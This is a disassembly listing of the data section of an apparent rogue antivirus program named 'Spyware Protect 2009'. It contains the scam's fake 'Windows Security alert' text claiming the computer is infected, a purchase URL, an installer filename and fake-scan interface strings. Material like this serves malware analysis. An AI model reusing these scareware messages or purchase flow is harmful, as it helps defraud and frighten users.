		dd offset sub_403FB7
		dd offset sub_403FBF
		dd offset sub_404067
		dd offset dword_424EB0
off_424130	dd offset loc_407283	; DATA XREF: sub_4057F4+4Ao
		dd offset loc_407265
		dd offset loc_407217
		dd offset loc_4039B0
		dd offset sub_404DCF
		dd offset sub_40725D
		dd offset dword_424E9C
off_42414C	dd offset loc_4071AE	; DATA XREF: sub_4057F4+51o
		dd offset loc_407186
		dd offset loc_407253
		dd offset sub_40463E
		dd offset dword_424E88
off_424160	dd offset loc_4071D6	; DATA XREF: sub_4057F4+58o
		dd offset loc_4071A4
		dd offset loc_407279
		dd offset nullsub_4
		dd offset nullsub_4
		dd offset nullsub_5
		dd offset nullsub_2
		dd offset nullsub_2
		dd offset dword_424E74
off_424184	dd offset loc_40720D	; DATA XREF: sub_4057F4+5Fo
		dd offset loc_4071CC
		dd offset sub_40717C
		dd offset sub_402F6F
		dd offset sub_402FAD
		dd offset sub_402FF0
		dd offset sub_40302C
		dd offset sub_403042
		dd offset sub_403058
		dd offset sub_403077
		dd offset sub_403096
		dd offset sub_4030B5
		dd offset sub_4030E7
		dd offset sub_403138
		dd offset sub_4031D9
		dd offset sub_403246
		dd offset sub_403293
		dd offset sub_40334D
		align 10h
		dd offset dword_424E60
off_4241D4	dd offset loc_407235	; DATA XREF: sub_4057F4+66o
		dd offset loc_4071F4
		dd offset loc_40719A
		dd offset sub_404E09
		dd offset sub_404E23
		dd offset sub_404E64
		dd offset sub_403418
		dd offset sub_40348B
		dd offset sub_4034A1
		dd offset sub_4034C9
		dd offset sub_4034F9
		dd offset sub_403519
		dd offset sub_40353A
		dd offset sub_40355A
		dd offset sub_40357B
		dd offset sub_40359B
		dd offset sub_4035C2
		dd offset sub_4035EA
		dd offset sub_403612
		dd offset sub_40363A
		dd offset sub_40366A
		dd offset sub_4037BF
		dd offset sub_4037E7
		dd offset sub_40380F
		dd offset sub_40381B
		dd offset sub_403834
		dd offset sub_403852
		dd offset sub_403872
		dd offset sub_403885
		dd offset sub_4038A5
		dd offset sub_4038BF
		dd offset sub_4038E7
		dd offset sub_403901
		dd offset sub_403929
		dd offset sub_403973
		dd offset sub_403993
dword_424264	dd 2 dup(0)						; sub_4066EE+5Ao ...
		dd 0C0h, 46000000h
dword_424274	dd 109h, 0			dd 0C0h, 46000000h
dword_424284	dd 7FD52380h, 101B4E07h, 82DAEh, 13C72E2Bh					; sub_404083+C1o
dword_424294	dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400h					; sub_40154B+1Fo
dword_4242A4	dd 25336920h, 11CF03F9h, 0AA00D08Fh, 136F6800hdword_4242B4	dd 8856F961h, 11D0340Ah, 0C0006BA9h, 0A205D74Fhdword_4242C4	dd 0B196B28Fh, 101ABAB4h, 0AA009CB6h, 71D3400hdword_4242D4	dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh					; sub_417FE1+1Eo ...
dword_4242E4	dd 122h, 0			dd 0C0h, 46000000h
dword_4242F4	dd 10Eh, 0			dd 0C0h, 46000000h
dword_424304	dd 0B196B288h, 101ABAB4h, 0AA009CB6h, 71D3400hdword_424314	dd 0BEF6E003h, 101AA874h, 0AA00BA8Bh, 0AB0C3000h
					; DATA XREF: sub_40366A+11Ao
dword_424324	dd 113h, 0						; UPX0:00403D0Fo
		dd 0C0h, 46000000h
byte_424334	db 0CCh			; DATA XREF: UPX0:00403CF6o
		db 56h,	20h, 1Ch
		dd 101B5EF4h, 0AA00C88Bh, 293B3E00h
dword_424344	dd 112h, 0			dd 0C0h, 46000000h
dword_424354	dd 3AF24292h, 11CE0C96h, 0AA00CFA0h, 0B80A6000hdword_424364	dd 127h, 0			dd 0C0h, 46000000h
dword_424374	dd 10Dh, 0			dd 0C0h, 46000000h
dword_424384	dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh					; sub_40983C+28o ...
dword_424394	dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh					; sub_41889D+157o
dword_4243A4	dd 20412h, 0			dd 0C0h, 46000000h
dword_4243B4	dd 20401h, 0			dd 0C0h, 46000000h, 4B0048h, 590045h, 43005Fh, 520055h
		dd 450052h, 54004Eh, 43005Fh, 4E004Fh, 490046h,	47h, 4B0048h
		dd 590045h, 44005Fh, 4E0059h, 44005Fh, 540041h,	41h, 4B0048h
		dd 590045h, 50005Fh, 520045h, 4F0046h, 4D0052h,	4E0041h
		dd 450043h, 44005Fh, 540041h, 41h, 4B0048h, 590045h, 55005Fh
		dd 450053h, 530052h, 0
aHkey_local_mac:
		unicode	0, <HKEY_LOCAL_MACHINE>,0
		align 4
aHkey_current_u:
		unicode	0, <HKEY_CURRENT_USER>,0
aHkey_classes_r:
		unicode	0, <HKEY_CLASSES_ROOT>,0
aHkcc:
		unicode	0, <HKCC>,0
		align 4
aHkdd:
		unicode	0, <HKDD>,0
		align 4
aHkpd:
		unicode	0, <HKPD>,0
		align 10h
aHku:
		unicode	0, <HKU>,0
aHklm:
		unicode	0, <HKLM>,0
		align 4
aHkcu:					; DATA XREF: UPX0:00424518o
		unicode	0, <HKCU>,0
		align 10h
aHkcr:					; DATA XREF: UPX0:off_424510o
		unicode	0, <HKCR>,0
		align 10h
off_424510	dd offset aHkcr		; DATA XREF: sub_408297:loc_4082F9r
					; "HKCR"
dword_424514	dd 80000000h			dd offset aHkcu		; "HKCU"
		dd 80000001h, 4244E8h, 80000002h, 4244E0h, 80000003h, 4244D4h
		dd 80000004h, 4244C8h, 80000006h, 4244BCh, 80000005h, 424498h
		dd 80000000h, 424474h, 80000001h, 42444Ch, 80000002h, 424434h
		dd 80000003h, 424408h, 80000004h, 4243ECh, 80000006h, 4243C4h
		dd 80000005h
aModule:				; DATA XREF: sub_4089CE+16Bo
					; sub_408BAA+162o
		unicode	0, <Module>,0
		align 10h
aModule_raw:				; DATA XREF: sub_4089CE+185o
					; sub_408BAA+17Co
		unicode	0, <Module_Raw>,0
		align 4
off_4245A8	dd offset byte_450052	; DATA XREF: sub_4089CE:loc_408B91o
					; sub_408BAA+1A9o
aGistry:
		unicode	0, <GISTRY>,0
		align 4
dword_4245BC	dd 0							; sub_40A0E8+2Eo ...
aTrue		db 'true',0             ; DATA XREF: sub_408E29+DCo
					; sub_408FB6:loc_4091ACo ...
		align 4
aPurchase_htm:				; DATA XREF: sub_408D98+Fo
		unicode	0, <purchase.htm>,0
		align 4
aFirst:					; DATA XREF: sub_408D98+29o
		unicode	0, <first>,0
aHandshake:				; DATA XREF: sub_408D98+4Do
		unicode	0, <handshake>,0
aSetemail:				; DATA XREF: sub_408D98+64o
		unicode	0, <setemail>,0
		align 4
aInstallerurl:				; DATA XREF: sub_408D98+7Bo
		unicode	0, <installerurl>,0
		align 8
aHttpSpywprotec:			; DATA XREF: sub_408E29+1Ao
		unicode	0, <http://spywprotect.com/orderint?prodid=1>,0
		align 4
aR:					; DATA XREF: sub_408E29+41o
		unicode	0, <&r=>,0
a16_0:					; DATA XREF: sub_408E29+57o
		unicode	0, <16.0>,0
		align 10h
aEmail:					; DATA XREF: sub_408E29+87o
		unicode	0, <&email=>,0
aRedir:					; DATA XREF: sub_408E29+C6o
		unicode	0, <redir>,0
aSwp2009_full_v:			; DATA XREF: sub_408FB6+52o
		unicode	0, <swp2009_full_version.exe>,0
off_4246EE	dd offset dword_440000	; DATA XREF: sub_408FB6+190o
					; sub_40F568+1Do ...
		dw 6Fh
aWnloadProblem:
		unicode	0, <wnload problem>,0
		align 8
aCanTDownloadIn:			; DATA XREF: sub_408FB6+1E8o
		unicode	0, <Can>
		dw 27h
		unicode	0, <t download installer, please try later.>
		dw 0Ah
		unicode	0, <If problem repeated	please contact with support. Contact >
		unicode	0, <your can find in comfirmation email.>,0
aAlert_htm:				; DATA XREF: sub_4091FA+Fo
		unicode	0, <alert.htm>,0
aFstbuttonclick:			; DATA XREF: sub_4091FA+6Ao
					; sub_4093B3+6Ao
		unicode	0, <fstButtonClick>,0
		align 10h
aNetalert_htm:				; DATA XREF: sub_4093B3+Fo
		unicode	0, <netalert.htm>,0
		align 4
aSetinfo:				; DATA XREF: UPX0:004094E9o
		unicode	0, <setInfo>,0
aHtmlmain_htm:				; DATA XREF: sub_409533+Fo
		unicode	0, <htmlMain.htm>,0
		align 4
aScanbuttonclic:			; DATA XREF: sub_409533+A1o
		unicode	0, <scanButtonClick>,0
aPurchase:				; DATA XREF: sub_409533+B6o
		unicode	0, <purchase>,0
		align 4
aSetscanfile:				; DATA XREF: sub_4098E0+19Fo
		unicode	0, <setScanFile>,0
aSetprogressbar:			; DATA XREF: sub_40971E+2Do
		unicode	0, <setProgressBar>,0
		align 4
aScanstart:				; DATA XREF: sub_40968F+16o
		unicode	0, <scanStart>,0
aScanstop:				; DATA XREF: sub_40983C+7Bo
		unicode	0, <scanStop>,0
		align 4
aAddvirustable:				; DATA XREF: sub_4098E0+230o
		unicode	0, <addVirusTable>,0
asc_424958:				; DATA XREF: sub_4098E0+5Bo
		unicode	0, <\*>,0
		align 10h
a_:					; DATA XREF: sub_4098E0+AAo
		unicode	0, <.>,0
a__:					; DATA XREF: sub_4098E0+E9o
		unicode	0, <..>,0
		align 4
asc_42496C:				; DATA XREF: sub_4098E0+135o
		unicode	0, <\>,0
aStatic:				; DATA XREF: sub_409CE5+1Do
					; sub_40A0E8+33o ...
		unicode	0, <STATIC>,0
		align 10h
aSpywareProtect:			; DATA XREF: sub_409CE5+65o
		unicode	0, <Spyware Protect 2009>,0
		align 4
aWindowsSecurit:			; DATA XREF: sub_409EDC+Ao
		unicode	0, <Windows Security alert>,0
		align 10h
aWindowsReports:			; DATA XREF: sub_409EDC+3Do
		unicode	0, <Windows reports that computer is infected. Antivirus soft>
		unicode	0, <ware helps to protect your computer	against	viruses	and o>
		unicode	0, <ther security threats. Click here for the scan you comput>
		unicode	0, <er.	Your system might be at	risk now.>,0
		align 4
aSwp2009Demo:				; DATA XREF: sub_409FB8+EBo
		unicode	0, <SWP2009 demo>,0
		align 10h
aAppid_0:				; DATA XREF: sub_40A1A6+Bo
		unicode	0, <APPID>,0
		dd offset dword_426590
off_424BB0	dd offset loc_4073FB	; DATA XREF: UPX0:00407400o
					; UPX0:0041C815o ...
		dd offset sub_407328
		dd offset sub_407333
		dd offset sub_40733E
		dd offset sub_407342
		dd offset sub_40A1A6
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 73h,	40h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 73h,	40h, 0
		dd offset loc_4073E3
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 73h,	40h, 0
		dd offset dword_426508
off_424BDC	dd offset loc_403C1A	; DATA XREF: sub_4077EF+4o
					; sub_4089CE+39o ...
		dd offset sub_4077E9
		dd offset sub_403D50
		dd offset sub_40783F
		dd offset sub_407A4C
		dd offset sub_407823
		dd offset dword_42649C
off_424BF8	dd offset sub_404BAF	; DATA XREF: sub_408D98+30o
; ---------------------------------------------------------------------------
		setalc
		xchg	eax, ecx
		inc	eax
		add	[esi+4Dh], dl
		inc	eax
		add	al, ch
		js	short loc_424C48
		add	[ebx], dh
		jns	short loc_424C4C
		add	[edx+7Ah], ah
		inc	ecx


loc_424C0F:				; DATA XREF: sub_408D98+36o
		add	[eax-77FFBD9Ch], cl
		jle	short near ptr loc_424C57+1
		add	cl, ch
		ja	short loc_424C5B
		add	cl, ch
		ja	short near ptr loc_424C5B+4
		add	[edi+300404Bh],	ah
		cmp	al, [eax+0]
		retn
; ---------------------------------------------------------------------------
		db 7Fh,	41h, 0
		dd offset sub_418A6B
		dd offset dword_42641C
off_424C34	dd offset sub_404BAF	; DATA XREF: sub_4091FA+21o
					; sub_40927A+4o
		dd offset sub_40937F
		dd offset sub_404D56
		dd offset nullsub_3
		dd offset sub_4092D7
; ---------------------------------------------------------------------------


loc_424C48:				; CODE XREF: UPX0:00424C05j
		enter	4092h, 0


loc_424C4C:				; CODE XREF: UPX0:00424C09j
		or	[edx+eax*2+0], ah


loc_424C50:				; DATA XREF: sub_4091FA+27o
					; sub_40927A+Ao
		mov	[esi+41h], bh
		add	cl, ch
		ja	short loc_424C97


loc_424C57:				; CODE XREF: UPX0:00424C15j
		add	cl, ch
		ja	short near ptr loc_424C97+4


loc_424C5B:				; CODE XREF: UPX0:00424C19j
					; UPX0:00424C1Dj
		add	[edi+300404Bh],	ah
		cmp	al, [eax+0]
		retn
; ---------------------------------------------------------------------------
		db 7Fh,	41h, 0
		dd offset sub_418A6B
		dd offset dword_42639C
off_424C70	dd offset sub_404BAF	; DATA XREF: sub_4093B3+21o
					; sub_409433+4o
; ---------------------------------------------------------------------------
		pop	ss
		xchg	eax, ebp
		inc	eax
		add	[esi+4Dh], dl
		inc	eax
		add	al, ch
		js	short loc_424CC0
		add	[ecx-6Ch], ah
		inc	eax
		add	al, cl
		xchg	eax, edx
		inc	eax


loc_424C87:				; DATA XREF: sub_4093B3+27o
					; sub_409433+Ao
		add	[eax-77FFBD9Dh], cl
		jle	short near ptr loc_424CCF+1
		add	cl, ch
		ja	short loc_424CD3
		add	cl, ch
		ja	short near ptr loc_424CD3+4


loc_424C97:				; CODE XREF: UPX0:00424C55j
					; UPX0:00424C59j
		add	[edi+300404Bh],	ah
		cmp	al, [eax+0]
		retn
; ---------------------------------------------------------------------------
		db 7Fh,	41h, 0
		dd offset sub_418A6B
		dd offset dword_42631C
off_424CAC	dd offset sub_404BAF	; DATA XREF: sub_409533+1Fo
					; sub_40961F+6o
		dd offset sub_409BAB
		dd offset sub_404D56
		dd offset nullsub_3
		dd offset sub_40977C
; ---------------------------------------------------------------------------


loc_424CC0:				; CODE XREF: UPX0:00424C7Dj
		db	65h
		xchg	eax, edi
		inc	eax
		add	[eax], cl
		arpl	[edx+0], ax


loc_424CC8:				; DATA XREF: sub_409533+25o
					; sub_40961F+Co
		mov	[esi+41h], bh
		add	cl, ch
		ja	short loc_424D0F


loc_424CCF:				; CODE XREF: UPX0:00424C8Dj
		add	cl, ch
		ja	short near ptr byte_424D13


loc_424CD3:				; CODE XREF: UPX0:00424C91j
					; UPX0:00424C95j
		add	[edi+300404Bh],	ah
		cmp	al, [eax+0]
		retn
; ---------------------------------------------------------------------------
		db 7Fh,	41h, 0
		dd offset sub_418A6B
dword_424CE4	dd 146h, 0			dd 0C0h, 46000000h, 0
dbl_424CF8	dq 1.5			; DATA XREF: sub_4098E0+1F4r
off_424D00	dd offset sub_418C98	; DATA XREF: sub_40DB8F+5r
					; sub_40DB8F+Eo ...
		dd offset nullsub_1
		dd offset nullsub_1
byte_424D0C	db 65h,	2Bh, 30h	; DATA XREF: sub_418F1D:loc_418FF7o
; ---------------------------------------------------------------------------


loc_424D0F:				; CODE XREF: UPX0:00424CCDj
		xor	[eax], dh
; ---------------------------------------------------------------------------
		db 2 dup(0)
byte_424D13	db 0			; CODE XREF: UPX0:00424CD1j
		align 8
dbl_424D18	dq 4.195835e6		; DATA XREF: sub_419871+11r
dbl_424D20	dq 3.145727e6		; DATA XREF: sub_419871+8r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4198AF+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4198AFo
		align 10h
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41AF2B:loc_41B061o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41AF2B+10Ao
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41AF2B+FBo
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41AF2B+E3o
		align 10h
		unicode	0, <H>,0
		dd 0Eh dup(0)
		dd offset dword_42A034
		dd offset dword_4266B0
		dd 3Ah
dword_424DB8	dd 3 dup(0)			dd offset off_42DC78
		dd offset dword_425B68
dword_424DCC	dd 3 dup(0)			dd offset off_42A014
		dd offset dword_424DE0
dword_424DE0	dd 2 dup(0)			dd 1, 424DF0h, 424DF8h,	0
		dd offset off_42A014
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	424DE0h
dword_424E14	dd 3 dup(0)			dd offset off_42A424
		dd offset dword_424E28
dword_424E28	dd 2 dup(0)			dd 2, 424E38h, 424E44h,	425B4Ch, 0
		dd offset off_42A424
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	424E28h
dword_424E60	dd 0				dd 4Ch,	0
		dd offset off_42B340
		dd offset dword_424F3C
dword_424E74	dd 0				dd 48h,	0
		dd offset off_42B340
		dd offset dword_424F3C
dword_424E88	dd 0				dd 44h,	0
		dd offset off_42B340
		dd offset dword_424F3C
dword_424E9C	dd 0				dd 40h,	0
		dd offset off_42B340
		dd offset dword_424F3C
dword_424EB0	dd 0				dd 38h,	0
		dd offset off_42B340
		dd offset dword_424F3C
dword_424EC4	dd 0				dd 34h,	0
		dd offset off_42B340
		dd offset dword_424F3C
dword_424ED8	dd 0				dd 30h,	0
		dd offset off_42B340
		dd offset dword_424F3C
dword_424EEC	dd 0				dd 2Ch,	0
		dd offset off_42B340
		dd offset dword_424F3C
		dd 0
		dd 28h,	0
		dd offset off_42B340
		dd offset dword_424F3C
dword_424F14	dd 0				dd 24h,	0
		dd offset off_42B340
		dd offset dword_424F3C
dword_424F28	dd 3 dup(0)			dd offset off_42B340
		dd offset dword_424F3C
dword_424F3C	dd 0							; UPX0:00424E84o ...
		dd 1, 27h, 424F50h, 0
		dd offset off_4258A8
		dd offset off_424FF0
		dd offset off_425858
		dd offset off_42583C
		dd offset off_425820
		dd offset off_4257DC
		dd offset off_426050
		dd offset off_426090
		dd offset off_426100
		dd offset off_4260CC
		dd offset off_42574C
		dd offset off_425730
		dd offset off_425714
		dd offset off_4256C0
		dd offset off_4256A4
		dd offset off_4255C8
		dd offset off_4255AC
		dd offset off_425590
		dd offset off_425574
		dd offset off_425558
		dd offset off_425504
		dd offset off_4254E8
		dd offset off_425458
		dd offset off_42543C
		dd offset off_425420
		dd offset off_425390
		dd offset off_425374
		dd offset off_425358
		dd offset off_425304
		dd offset off_4252E8
		dd offset off_425294
		dd offset off_425278
		dd offset off_425224
		dd offset off_425208
		dd offset off_42512C
		dd offset off_425110
		dd offset off_4250F4
		dd offset off_4250D8
		dd offset off_4250BC
		align 10h
off_424FF0	dd offset off_42B320	; DATA XREF: UPX0:00424F54o
					; UPX0:00425020o
		dd 25h,	0
		dd 0FFFFFFFFh, 0
		dd 40h,	42500Ch, 0
		dd 5, 26h, 425020h, 0
		dd offset off_424FF0
		dd offset off_425858
		dd offset off_42583C
		dd offset off_425820
		dd offset off_4257DC
		dd offset off_426050
		dd offset off_426090
		dd offset off_426100
		dd offset off_4260CC
		dd offset off_42574C
		dd offset off_425730
		dd offset off_425714
		dd offset off_4256C0
		dd offset off_4256A4
		dd offset off_4255C8
		dd offset off_4255AC
		dd offset off_425590
		dd offset off_425574
		dd offset off_425558
		dd offset off_425504
		dd offset off_4254E8
		dd offset off_425458
		dd offset off_42543C
		dd offset off_425420
		dd offset off_425390
		dd offset off_425374
		dd offset off_425358
		dd offset off_425304
		dd offset off_4252E8
		dd offset off_425294
		dd offset off_425278
		dd offset off_425224
		dd offset off_425208
		dd offset off_42512C
		dd offset off_425110
		dd offset off_4250F4
		dd offset off_4250D8
		dd offset off_4250BC
		dd 0
off_4250BC	dd offset off_42B9CC	; DATA XREF: UPX0:00424FE8o
					; UPX0:004250B4o
		dd 0
		dd 4Ch,	0FFFFFFFFh, 0
		dd 42h,	4262D4h
off_4250D8	dd offset off_42B380	; DATA XREF: UPX0:00424FE4o
					; UPX0:004250B0o
		dd 1, 4Ch, 0FFFFFFFFh, 0
		dd 40h,	425998h
off_4250F4	dd offset off_42AF70	; DATA XREF: UPX0:00424FE0o
					; UPX0:004250ACo
		dd 2, 4Ch, 0FFFFFFFFh, 0
		dd 40h,	4251CCh
off_425110	dd offset off_42AF94	; DATA XREF: UPX0:00424FDCo
					; UPX0:004250A8o
		dd 3, 4Ch, 0FFFFFFFFh, 0
		dd 40h,	42518Ch
off_42512C	dd offset off_42AFC0	; DATA XREF: UPX0:00424FD8o
					; UPX0:004250A4o
		dd 4, 4Ch, 0FFFFFFFFh, 0
		dd 40h,	425148h, 2 dup(0)
		dd 5, 425158h, 4251ECh,	425170h, 4251B0h, 42597Ch, 4262B8h
		dd 0
		dd offset off_42AF94
		dd 3, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	42518Ch, 2 dup(0)
		dd 4, 42519Ch, 425170h,	4251B0h, 42597Ch, 4262B8h, 0
		dd offset off_42AF70
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4251CCh, 2 dup(0)
		dd 3, 4251DCh, 4251B0h,	42597Ch, 4262B8h, 0
		dd offset off_42AFC0
		dd 4, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425148h
off_425208	dd offset off_42B9CC	; DATA XREF: UPX0:00424FD4o
					; UPX0:004250A0o
		align 10h
		dd 48h,	0FFFFFFFFh, 0
		dd 42h,	4262D4h
off_425224	dd offset off_42B088	; DATA XREF: UPX0:00424FD0o
					; UPX0:0042509Co
		dd 1, 48h, 0FFFFFFFFh, 0
		dd 40h,	425240h, 2 dup(0)
		dd 2, 425250h, 42525Ch,	4262B8h, 0
		dd offset off_42B088
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425240h
off_425278	dd offset off_42B9CC	; DATA XREF: UPX0:00424FCCo
					; UPX0:00425098o
		align 10h
		dd 44h,	0FFFFFFFFh, 0
		dd 42h,	4262D4h
off_425294	dd offset off_42B0A8	; DATA XREF: UPX0:00424FC8o
					; UPX0:00425094o
		dd 1, 44h, 0FFFFFFFFh, 0
		dd 40h,	4252B0h, 2 dup(0)
		dd 2, 4252C0h, 4252CCh,	4262B8h, 0
		dd offset off_42B0A8
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4252B0h
off_4252E8	dd offset off_42B9CC	; DATA XREF: UPX0:00424FC4o
					; UPX0:00425090o
		align 10h
		dd 40h,	0FFFFFFFFh, 0
		dd 42h,	4262D4h
off_425304	dd offset off_42B0C4	; DATA XREF: UPX0:00424FC0o
					; UPX0:0042508Co
		dd 1, 40h, 0FFFFFFFFh, 0
		dd 40h,	425320h, 2 dup(0)
		dd 2, 425330h, 42533Ch,	4262B8h, 0
		dd offset off_42B0C4
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425320h
off_425358	dd offset off_42B9CC	; DATA XREF: UPX0:00424FBCo
					; UPX0:00425088o
		align 10h
		dd 38h,	0FFFFFFFFh, 0
		dd 42h,	4262D4h
off_425374	dd offset off_42B0E4	; DATA XREF: UPX0:00424FB8o
					; UPX0:00425084o
		dd 1, 38h, 0FFFFFFFFh, 0
		dd 40h,	4253E8h
off_425390	dd offset off_42B104	; DATA XREF: UPX0:00424FB4o
					; UPX0:00425080o
		dd 2, 38h, 0FFFFFFFFh, 0
		dd 40h,	4253ACh, 2 dup(0)
		dd 3, 4253BCh, 425404h,	4253CCh, 4262B8h, 0
		dd offset off_42B0E4
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4253E8h, 2 dup(0)
		dd 2, 4253F8h, 4253CCh,	4262B8h, 0
		dd offset off_42B104
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4253ACh
off_425420	dd offset off_42B9CC	; DATA XREF: UPX0:00424FB0o
					; UPX0:0042507Co
		align 8
		dd 34h,	0FFFFFFFFh, 0
		dd 42h,	4262D4h
off_42543C	dd offset off_42B144	; DATA XREF: UPX0:00424FACo
					; UPX0:00425078o
		dd 1, 34h, 0FFFFFFFFh, 0
		dd 40h,	4254B0h
off_425458	dd offset off_42B164	; DATA XREF: UPX0:00424FA8o
					; UPX0:00425074o
		dd 2, 34h, 0FFFFFFFFh, 0
		dd 40h,	425474h, 2 dup(0)
		dd 3, 425484h, 4254CCh,	425494h, 4262B8h, 0
		dd offset off_42B144
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4254B0h, 2 dup(0)
		dd 2, 4254C0h, 425494h,	4262B8h, 0
		dd offset off_42B164
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425474h
off_4254E8	dd offset off_42B9CC	; DATA XREF: UPX0:00424FA4o
					; UPX0:00425070o
		align 10h
		dd 30h,	0FFFFFFFFh, 0
		dd 42h,	4262D4h
off_425504	dd offset off_42B180	; DATA XREF: UPX0:00424FA0o
					; UPX0:0042506Co
		dd 1, 30h, 0FFFFFFFFh, 0
		dd 40h,	425520h, 2 dup(0)
		dd 2, 425530h, 42553Ch,	4262B8h, 0
		dd offset off_42B180
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425520h
off_425558	dd offset off_42B9CC	; DATA XREF: UPX0:00424F9Co
					; UPX0:00425068o
		align 10h
		dd 2Ch,	0FFFFFFFFh, 0
		dd 42h,	4262D4h
off_425574	dd offset off_42B72C	; DATA XREF: UPX0:00424F98o
					; UPX0:00425064o
		dd 1, 2Ch, 0FFFFFFFFh, 0
		dd 40h,	425FD4h
off_425590	dd offset off_42B1A0	; DATA XREF: UPX0:00424F94o
					; UPX0:00425060o
		dd 2, 2Ch, 0FFFFFFFFh, 0
		dd 40h,	425668h
off_4255AC	dd offset off_42B1C0	; DATA XREF: UPX0:00424F90o
					; UPX0:0042505Co
		dd 3, 2Ch, 0FFFFFFFFh, 0
		dd 40h,	425628h
off_4255C8	dd offset off_42B1E0	; DATA XREF: UPX0:00424F8Co
					; UPX0:00425058o
		dd 4, 2Ch, 0FFFFFFFFh, 0
		dd 40h,	4255E4h, 2 dup(0)
		dd 5, 4255F4h, 425688h,	42560Ch, 42564Ch, 425FB8h, 4262B8h
		dd 0
		dd offset off_42B1C0
		dd 3, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425628h, 2 dup(0)
		dd 4, 425638h, 42560Ch,	42564Ch, 425FB8h, 4262B8h, 0
		dd offset off_42B1A0
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425668h, 2 dup(0)
		dd 3, 425678h, 42564Ch,	425FB8h, 4262B8h, 0
		dd offset off_42B1E0
		dd 4, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4255E4h
off_4256A4	dd offset off_42B9CC	; DATA XREF: UPX0:00424F88o
					; UPX0:00425054o
		dd 0
		dd 28h,	0FFFFFFFFh, 0
		dd 42h,	4262D4h
off_4256C0	dd offset off_42B208	; DATA XREF: UPX0:00424F84o
					; UPX0:00425050o
		dd 1, 28h, 0FFFFFFFFh, 0
		dd 40h,	4256DCh, 2 dup(0)
		dd 2, 4256ECh, 4256F8h,	4262B8h, 0
		dd offset off_42B208
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4256DCh
off_425714	dd offset off_42B9CC	; DATA XREF: UPX0:00424F80o
					; UPX0:0042504Co
		dd 0
		dd 24h,	0FFFFFFFFh, 0
		dd 42h,	4262D4h
off_425730	dd offset off_42B228	; DATA XREF: UPX0:00424F7Co
					; UPX0:00425048o
		dd 1, 24h, 0FFFFFFFFh, 0
		dd 40h,	4257A4h
off_42574C	dd offset off_42B248	; DATA XREF: UPX0:00424F78o
					; UPX0:00425044o
		dd 2, 24h, 0FFFFFFFFh, 0
		dd 40h,	425768h, 2 dup(0)
		dd 3, 425778h, 4257C0h,	425788h, 4262B8h, 0
		dd offset off_42B228
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4257A4h, 2 dup(0)
		dd 2, 4257B4h, 425788h,	4262B8h, 0
		dd offset off_42B248
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425768h
off_4257DC	dd offset off_42B270	; DATA XREF: UPX0:00424F64o
					; UPX0:00425030o
		dd 4, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4257F8h, 0
		dd 1, 5, 425808h, 4257DCh, 426050h, 426090h, 426100h, 4260CCh
		dd 0
off_425820	dd offset off_42B960	; DATA XREF: UPX0:00424F60o
					; UPX0:0042502Co
		align 8
		dd 50h,	0FFFFFFFFh, 0
		dd 40h,	426284h
off_42583C	dd offset off_42B988	; DATA XREF: UPX0:00424F5Co
					; UPX0:00425028o
		dd 1, 50h, 0FFFFFFFFh, 0
		dd 40h,	42624Ch
off_425858	dd offset off_42B2D0	; DATA XREF: UPX0:00424F58o
					; UPX0:00425024o
		align 10h
		dd 50h,	0FFFFFFFFh, 0
		dd 40h,	425874h, 2 dup(0)
		dd 1, 425884h, 42588Ch,	0
		dd offset off_42B2D0
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	425874h
off_4258A8	dd offset off_42B340	; DATA XREF: UPX0:00424F50o
		dd 26h,	0
		dd 0FFFFFFFFh, 0
		dd 40h,	424F3Ch, 0
		dd 24h,	0
		dd offset off_42B420
		dd offset dword_4258EC
dword_4258D8	dd 3 dup(0)			dd offset off_42B420
		dd offset dword_4258EC
dword_4258EC	dd 0							; UPX0:004258E8o
		dd 1, 9, 4258FCh, 425A14h, 4259D0h, 426050h, 426090h, 426100h
		dd 4260CCh, 425940h, 425924h, 425EE8h, 0
		dd offset off_42B380
		dd 1, 24h, 0FFFFFFFFh, 0
		dd 40h,	425998h, 42B398h, 2, 24h, 0FFFFFFFFh, 0
		dd 40h,	42595Ch, 2 dup(0)
		dd 3, 42596Ch, 4259B4h,	42597Ch, 4262B8h, 0
		dd offset off_42B380
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	425998h, 2 dup(0)
		dd 2, 4259A8h, 42597Ch,	4262B8h, 0
		dd offset off_42B398
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	42595Ch, 42B3C0h, 4, 0
